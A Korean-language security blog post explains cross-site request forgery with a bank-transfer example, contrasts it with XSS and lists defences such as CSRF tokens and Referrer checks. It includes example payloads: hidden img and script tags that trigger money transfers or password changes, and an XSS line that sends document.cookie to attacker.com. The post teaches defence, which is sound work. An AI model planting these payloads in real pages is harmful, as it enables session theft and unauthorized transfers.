2024. 3. 24. 17:48ㆍ보안, 해킹/웹
CSRF란?
CSRF란 Cross Site Request Forgery의 약자로 피해자가, 또는 공격자가 피해자의 권한으로 서버로 임의의 요청을 하게 만드는 공격이다.
웹 서비스는 기본적으로 클라이언트가 서버에 요청을 하면 서버가 클라이언트에 응답을 하는 요청-응답의 구조로 이루어진다. 어떤 사용자가 웹 서비스의 특정 페이지에 들어갈 때도 특정 페이지의 리소스를 가져오는 요청을 보내야 하고, 로그인을 할 때도 회원정보가 포함된 로그인 요청을 보내야 한다. 게시판 같은 페이지에서 게시물을 보려고 할 때도 게시물 데이터를 가져오는 요청을 보내야 하고, 내 정보를 수정하려 할 때도 요청을 보내야 한다.
하지만 간혹 서버로 보내는 요청이 사용자의 동의 없이, 사용자가 인지하지 못한 채로 전송되는 경우가 있다. 마치 우편의 발신자 이름을 바꿔서 다른 사람을 사칭한다고 보면 된다. 만약 그 사람의 도장이나 싸인 등 그 사람임을 인증하는 수단을 복제했다면 더 설득력을 얻을 것이다. 이렇게 되면 악성 사용자가 타인의 자격으로 어떠한 작업이든 수행할 수 있을 것이다. 타인의 개인정보를 가져오는 것은 물론, 타인의 계정 비밀번호를 임의로 바꿀 수도 있을 것이고, 송금이나 상품 구매 등 금전적인 이득을 취할 수도 있을 것이다.
이처럼 타인의 자격으로 서버에 악의적인 요청을 보내는 공격을 통칭하여 CSRF라고 부른다.
CSRF 공격 예시
- Dreamhack의 CSRF 강의에서 제시된 예시를 사용하였습니다
모 은행은 웹 상에서 송금 기능을 지원한다. 이때 송금 기능을 HTTP GET 요청을 통해 처리하는데, chan이라는 유저에게 만 원을 송금하는 경우 사용자가 서버에 보내는 요청은 다음과 같다.
http://bank.dreamhack.io/sendmoney?to=chan&amount=10000
이때 chan이라는 공격자는 임의의 사용자(피해자)가 해당 요청을 서버로 보내게 만듦으로 chan에게 돈을 보내게 만들 수 있다.
이때 선택할 수 있는 방식으로는 여러 가지가 있을 건데, 첫 번째 예시로는 단순히 해당 링크를 눌러 접속하도록 하는 것이다.
대신 저 URL은 너무 수상하니까 URL 인코딩을 적용해서 아래와 같은 링크를 누르도록 하는 것이다.
http://bank.dreamhack.io/%73%65%6e%64%6d%6f%6e%65%79%3f%74%6f%3d%63%68%61%6e%26%61%6d%6f%75%6e%74%3d10000
피해자가 만약 이 링크에 접속하면 피해자는 chan이라는 사용자에게 만 원을 송금하게 된다. (본인이 보낸 사실조차 모를 수 있다.)
또는 사이트 내에 HTML 태그나 javascript를 삽입하여 공격자가 취약한 페이지에 접속하였을 때 자동으로 공격자에게 송금하도록 만들 수도 있다.
HTML 태그를 삽입할 경우 대표적으로 img 태그를 활용할 수 있다.
<img src="http://bank.dreamhack.io/sendmoney?to=chan&amount=10000" width=0px height=0px>
이 경우 해당 태그가 삽입된 페이지에 접근하면 위의 URL이 이미지 소스인 줄 아는 우리의 순진한 브라우저는 이미지를 불러오기 위해 해당 URL로 요청을 보낸다. 물론 이미지는 당연히 불러올 수 없고 서버로 해당 요청만 전송되어 모르는 사이에 돈이 공격자에게 송금된다.
javascript의 경우는 다음과 같다.
<script>location.href='http://bank.dreamhack.io/sendmoney?to=chan&amount=10000';</script>
이 경우에도 해당 스크립트가 삽입된 페이지에 접근하는 순간 위의 URL로 페이지가 이동되고, 또 돈이 뜯긴다.
참고 - CSRF와 XSS의 차이?
사실 CSRF와 XSS는 전혀 다른 취약점이다. 하지만 CSRF와 XSS의 일부 공격이 형태가 유사하다는 이유로 처음 공부할 때는 혼동하는 경우가 많다. (필자도 그랬다.) 그래서 이를 명확히 하려고 한다.
XSS(Cross-Site Scripting)
XSS(Cross-Site Scripting)는 스크립트 삽입 취약점이다. 사용자가 임의의 HTML 태그를 삽입할 수 있는 페이지에서 스크립트를 삽입하였을 때 이 스크립트가 동작하는 취약점이 XSS이다. 기본적으로 javascript에 의해 피해를 받는 구조이기 때문에 일반적으로 XSS에 의해 발생하는 피해는 쿠키 탈취, 피싱 사이트로의 redirection 등이다. 간단한 예시를 보자.
<script> location.href = "http://www.attacker.com/?cookie=" + document.cookie; </script>
위의 예시처럼 location.href와 document.cookie라는 javascript에 의해 피해가 발생하는 구조인 것이다.
CSRF(Cross-Site Request Forgery)
반면에 CSRF(Cross-Site Request Forgery)는 요청 취약점이다. 공격자가 사용자에게 임의의 요청을 서버로 억지로 보내도록 만들었을 때, 사용자의 의사에 상관없이 해당 요청이 처리되는 취약점인 것이다. 간단한 예시를 보자.
<img src="http://www.service.com/change_pass?pass=qwer1234">
위 예시는 change_pass라는 경로에 비밀번호 변경 요청을 보내는 것이다. 이러한 payload가 삽입된 페이지에 접근하면 해당 사용자의 의사와 상관없이 비밀번호가 qwer1234로 변경되는 것이다. 자세히 보면 스크립트는 없는 걸 볼 수 있다.
두 공격의 차이점?
그렇다면 대체 왜 이러한 혼동이 발생하는걸까? 혼동이 발생하는 가장 큰 이유는 공격방식이 유사한 경우가 많기 때문이다.
XSS는 일반적으로 '쿠키탈취' 형태로 공격을 한다. 그리고 쿠키 탈취는 공격자 서버로 쿠키를 포함한 요청을 보내는 방식을 사용한다.
CSRF는 기본적으로 요청 취약점이기 때문에 요청을 보내는 방식이 기본이다. 이때 GET 방식의 요청은 링크만 클릭하게 만들면 되지만 POST 방식의 요청은 단순한 동작(평소 웹사이트를 이용할때의 동작)만으로는 요청을 만들 수 없기 때문에 XSS 취약점을 활용하게 된다.
요약하자면 두 공격의 payload가 다음과 같은 형태가 많기 때문이다.
<img src="http://www.vuln-site.com/">
하지만 두 공격은 명확한 차이점이 있다.
XSS의 핵심은 '스크립트 실행'이다. script 태그를 사용하든 Event listener(ex. onclick, onload)를 사용하든 최종적으로는 스크립트(javascript)가 실행되어야 한다. 공격 시에는 보통 document.cookie, PoC*에서는 보통 alert(1)이 자주 사용되는 스크립트이다.
CSRF의 핵심은 '취약한 요청'이다. 기본적으로는 요청이 포함되어 있어야 하고, 이 요청의 목적지는 보통 공격하는 웹사이트다. XSS에서 사용하는 쿠키탈취는 쿠키값을 '공격자 서버'로 요청하기 때문에 CSRF와는 명백히 다르다.
*PoC(Proof of Concept) - 개념증명을 의미한다. 말 그대로 증명하는 과정이다. 해킹에서는 보통 공격 대상이 취약하다는 것을 증명하기 위해 PoC로 공격 payload를 제시한다. XSS 공격이 유효함을 증명하기 위해 해당 페이지에서 alert(1)을 실행시키는 것이 PoC의 예시다.
CSRF의 방어
- CSRF Token
CSRF Token이란 웹서버에서 생성되어 클라이언트에 공유되는 랜덤한 값이다. 웹 요청 시 서버에서 받은 CSRF Token 값이 요청에 포함되어 있지 않거나 일치하지 않는 경우 요청을 거부하는 방식이다. 이 CSRF Token은 실제 요청을 수행하는 페이지에 접근해야 획득할 수 있기 때문에 CSRF 공격을 어렵게 만드는 효과가 있다.
하지만 XSS 취약점을 활용하면 CSRF Token을 탈취해 토큰 검증을 우회하여 CSRF를 수행하는 것 역시 가능하기 때문에 다른 방어수단을 적절히 조합해야 한다.
- Referrer 헤더 검증
Referrer 헤더란 요청을 전송할 때 해당 요청의 출처를 나타내는 헤더다. 비밀번호 변경을 예로 든다면, 정상적인 비밀번호 변경 페이지에서 요청을 한다면 허용하지만 XSS 취약점이 있는 다른 페이지에서 변경 요청을 보낼 경우 요청의 출처(Referrer 헤더)가 다르기 때문에 허용하지 않게 되는 것이다.
Referrer 헤더 검증은 CSRF를 방어하는 데에 있어서는 효과적이지만, 비교적 엄격한 방식의 방어 수단이기 때문에 페이지의 확장성이 약간 떨어지는 결과를 가져올 수도 있다. 보통 매우 민감한 요청에 대해서 적용한다.
- 요청 시 본인인증
요청 시에 본인을 확인할 수 있는 정보를 포함시키도록 하여 본인이 모르는 사이 요청이 전달되는 것을 방지하는 방식이다. 마이페이지 접근 시에 비밀번호 입력을 요구하거나, 결제 시에 결제 비밀번호를 요구하는 경우가 이에 해당한다. 이 경우 공격자가 피해자의 인증정보를 모르는 경우 CSRF 공격을 매우 어렵게 만들 수 있다.
'보안, 해킹 > 웹' 카테고리의 다른 글
요청을 몰래 보내는게 가능해?(HTTP request smuggling) (1) | 2024.06.09 |
---|---|
File Upload 취약점이란? (0) | 2024.04.04 |
XSS(Cross-Site Scripting)란? (1) | 2024.02.05 |
SQL injection 심화편(2) - Blind SQL injection (1) | 2024.01.29 |
SQL injection 심화편(1) - Union SQL injeciton (1) | 2023.12.31 |